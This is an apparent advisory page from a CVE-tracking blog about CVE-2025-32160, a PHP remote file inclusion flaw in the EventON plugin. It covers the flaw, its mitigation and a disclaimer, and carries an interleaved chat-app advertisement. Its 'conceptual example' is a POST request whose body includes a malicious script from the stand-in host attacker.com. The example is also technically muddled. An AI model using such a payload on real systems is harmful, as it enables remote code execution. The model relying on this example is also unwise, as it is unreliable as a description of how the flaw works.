Ameeba Exploit Tracker

Tracking CVEs, exploits, and zero-days for defensive cybersecurity research.

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-32160: High-risk Remote File Inclusion Vulnerability in EventON

Ameeba Chat Store screens
Download Ameeba Chat

Overview

The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include/require statement in PHP Program. The vulnerability could potentially lead to a system compromise or data leakage, making immediate attention and mitigation crucial.

Vulnerability Summary

CVE ID: CVE-2025-32160
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Ameeba Chat Icon Escape the Surveillance Era

Most apps won’t tell you the truth.
They’re part of the problem.

Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.

Ameeba Chat gives you a way out.

  • • No phone number
  • • No email
  • • No personal info
  • • Anonymous aliases
  • • End-to-end encrypted

Chat without a trace.

Product | Affected Versions

EventON | Up to and including 2.3.2

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program within EventON. An attacker could manipulate the filename to include a file from a remote server, thus allowing the attacker’s code to be executed in the context of the affected server. This can lead to unauthorized access, data leakage, or even system compromise.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is as follows:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php
<?php include 'http://attacker.com/malicious_script.php'; ?>

In this example, the attacker is able to include a malicious PHP script from their own server into the target’s server via the PHP include function. Once included, the malicious script could be executed, potentially leading to various adverse impacts.

Mitigation

The best form of mitigation is to apply the vendor’s patch for this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to limit the privileges of the web server and regularly monitor system logs for any unusual activity.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
Ameeba Chat